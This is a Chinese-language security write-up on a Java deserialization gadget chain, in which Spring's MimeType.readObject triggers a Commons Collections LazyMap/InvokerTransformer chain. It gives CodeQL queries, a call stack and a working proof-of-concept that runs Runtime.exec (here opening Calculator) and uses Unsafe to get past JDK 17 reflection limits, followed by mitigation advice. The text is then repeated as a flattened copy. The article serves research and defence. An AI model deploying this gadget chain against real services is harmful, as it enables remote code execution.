Spring的新入口类反序列化触发CC链
字数 1590 2025-08-05 08:19:58

Spring框架中利用MimeType类触发Commons Collections反序列化链的分析与利用

前言

本文详细分析了一种新型的Spring框架反序列化漏洞利用方式,通过MimeType类作为入口点触发Apache Commons Collections(CC)反序列化链。该技术由jasper_sec在2024年4月发现并公开,适用于以下环境:

  • JDK 17.0.11
  • SpringBoot 3.1.10
  • Commons Collections 3.2.1
  • CodeQL CLI 2.17.0

技术背景

反序列化漏洞基本原理

Java反序列化漏洞通常发生在应用程序反序列化不可信数据时,攻击者可以构造特殊的序列化对象,在反序列化过程中执行任意代码。Apache Commons Collections库中的Transformer链(CC链)是经典的利用方式之一。

新入口点发现

传统CC链通常需要找到可序列化类中的readObject方法调用Map.get()的路径。本研究发现Spring框架中的MimeType类提供了新的可利用路径。

技术分析

CodeQL环境搭建

  1. 安装CodeQL CLI

    • 下载CodeQL CLI命令行工具并配置环境变量
    • VS Code安装CodeQL插件并配置CLI路径
    • 下载vscode-codeql-starter工作空间
  2. 创建数据库

    codeql database create /path/to/database --language=java --source-root=/path/to/source --command="mvn clean package"
    

CodeQL查询编写

定义source点(readObject方法)

class ReadObjectMethod extends Method {
    ReadObjectMethod(){
        this.getDeclaringType() instanceof Serializable and
        this.isPrivate() and
        this.hasName("readObject") and 
        this.getReturnType() instanceof VoidType
    }
}

定义sink点(LazyMap.get方法)

class LazyMapGetMethod extends Method {
    LazyMapGetMethod() {
        this.getDeclaringType() instanceof Serializable and
        this.isPublic() and
        this.getReturnType() instanceof TypeObject and
        this.hasName("get") and 
        this.getDeclaringType().hasQualifiedName("org.apache.commons.collections.map","LazyMap")
    }
}

漏洞链分析

调用链路径如下:

  1. MimeType#readObject → 调用this.getParameter("charset")
  2. getParameter → 调用this.parameters.get("charset")
  3. parameters是Map类型,可被替换为恶意的LazyMap对象

完整调用栈:

transform:120, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getParameter:328, MimeType (org.springframework.util)
readObject:677, MimeType (org.springframework.util)
invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:568, Method (java.lang.reflect)
invokeReadObject:1104, ObjectStreamClass (java.io)
readSerialData:2434, ObjectInputStream (java.io)
readOrdinaryObject:2268, ObjectInputStream (java.io)
readObject0:1744, ObjectInputStream (java.io)
readObject:514, ObjectInputStream (java.io)
readObject:472, ObjectInputStream (java.io)
unserializeBase64:38, SerializeUtils (utils)
main:34, Test (Test)

漏洞利用

PoC代码

package Test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.util.MimeType;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.util.*;

import utils.*;

public class Test {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                    new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                    new Class[]{Object.class,Object[].class},
                    new Object[]{null,null}),
                new InvokerTransformer("exec", 
                    new Class[]{String.class},
                    new Object[]{"open -a Calculator"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map map1 = LazyMap.decorate(map, chainedTransformer);

        // 使用Unsafe绕过JDK17的反射限制
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe)field.get((Object)null);
        
        // 创建MimeType实例并修改其parameters字段
        MimeType mimeType = (MimeType) unsafe.allocateInstance(MimeType.class);
        unsafe.putObject(mimeType,
            unsafe.objectFieldOffset(MimeType.class.getDeclaredField("parameters")),
            map1);

        // 序列化并反序列化触发漏洞
        String pld = SerializeUtils.serializeBase64(mimeType);
        SerializeUtils.unserializeBase64(pld);
    }
}

关键技术点

  1. Transformer链构造

    • 使用ChainedTransformer组合多个Transformer
    • 通过反射调用Runtime.getRuntime().exec()执行命令
  2. LazyMap包装

    • 使用LazyMap.decorate()方法将普通Map包装为LazyMap
    • 设置Transformer链作为LazyMap的factory
  3. JDK17绕过技术

    • 使用Unsafe类直接操作内存修改MimeTypeparameters字段
    • 避免了JDK17对反射修改final字段的限制
  4. 触发流程

    • 序列化恶意构造的MimeType对象
    • 反序列化时自动调用readObject方法
    • 触发LazyMap.get()进而执行Transformer链

防御建议

  1. 升级Commons Collections

    • 升级到已修复的版本(3.2.2+)
    • 或使用SerializationKiller等防护库
  2. 输入验证

    • 对反序列化的数据源进行严格校验
    • 使用白名单控制可反序列化的类
  3. 运行时防护

    • 使用SecurityManager限制敏感操作
    • 监控反序列化操作
  4. 代码层面

    • 避免直接反序列化不可信数据
    • 使用JSON等更安全的替代方案

总结

本文详细分析了通过Spring框架MimeType类触发Commons Collections反序列化链的新型利用方式。该技术的关键在于:

  1. 使用CodeQL定位新的可利用路径
  2. 构造特殊的Transformer链
  3. 利用Unsafe绕过JDK17的安全限制
  4. 通过MimeTypereadObject方法触发漏洞

这种利用方式扩展了反序列化漏洞的攻击面,提醒开发者在升级环境中仍需注意潜在的安全风险。

Spring框架中利用MimeType类触发Commons Collections反序列化链的分析与利用 前言 本文详细分析了一种新型的Spring框架反序列化漏洞利用方式,通过 MimeType 类作为入口点触发Apache Commons Collections(CC)反序列化链。该技术由jasper_ sec在2024年4月发现并公开,适用于以下环境: JDK 17.0.11 SpringBoot 3.1.10 Commons Collections 3.2.1 CodeQL CLI 2.17.0 技术背景 反序列化漏洞基本原理 Java反序列化漏洞通常发生在应用程序反序列化不可信数据时,攻击者可以构造特殊的序列化对象,在反序列化过程中执行任意代码。Apache Commons Collections库中的Transformer链(CC链)是经典的利用方式之一。 新入口点发现 传统CC链通常需要找到可序列化类中的 readObject 方法调用 Map.get() 的路径。本研究发现Spring框架中的 MimeType 类提供了新的可利用路径。 技术分析 CodeQL环境搭建 安装CodeQL CLI : 下载CodeQL CLI命令行工具并配置环境变量 VS Code安装CodeQL插件并配置CLI路径 下载vscode-codeql-starter工作空间 创建数据库 : CodeQL查询编写 定义source点(readObject方法) 定义sink点(LazyMap.get方法) 漏洞链分析 调用链路径如下: MimeType#readObject → 调用 this.getParameter("charset") getParameter → 调用 this.parameters.get("charset") parameters 是Map类型,可被替换为恶意的 LazyMap 对象 完整调用栈: 漏洞利用 PoC代码 关键技术点 Transformer链构造 : 使用 ChainedTransformer 组合多个 Transformer 通过反射调用 Runtime.getRuntime().exec() 执行命令 LazyMap包装 : 使用 LazyMap.decorate() 方法将普通Map包装为LazyMap 设置Transformer链作为LazyMap的factory JDK17绕过技术 : 使用 Unsafe 类直接操作内存修改 MimeType 的 parameters 字段 避免了JDK17对反射修改final字段的限制 触发流程 : 序列化恶意构造的 MimeType 对象 反序列化时自动调用 readObject 方法 触发 LazyMap.get() 进而执行Transformer链 防御建议 升级Commons Collections : 升级到已修复的版本(3.2.2+) 或使用 SerializationKiller 等防护库 输入验证 : 对反序列化的数据源进行严格校验 使用白名单控制可反序列化的类 运行时防护 : 使用SecurityManager限制敏感操作 监控反序列化操作 代码层面 : 避免直接反序列化不可信数据 使用JSON等更安全的替代方案 总结 本文详细分析了通过Spring框架 MimeType 类触发Commons Collections反序列化链的新型利用方式。该技术的关键在于: 使用CodeQL定位新的可利用路径 构造特殊的Transformer链 利用Unsafe绕过JDK17的安全限制 通过 MimeType 的 readObject 方法触发漏洞 这种利用方式扩展了反序列化漏洞的攻击面,提醒开发者在升级环境中仍需注意潜在的安全风险。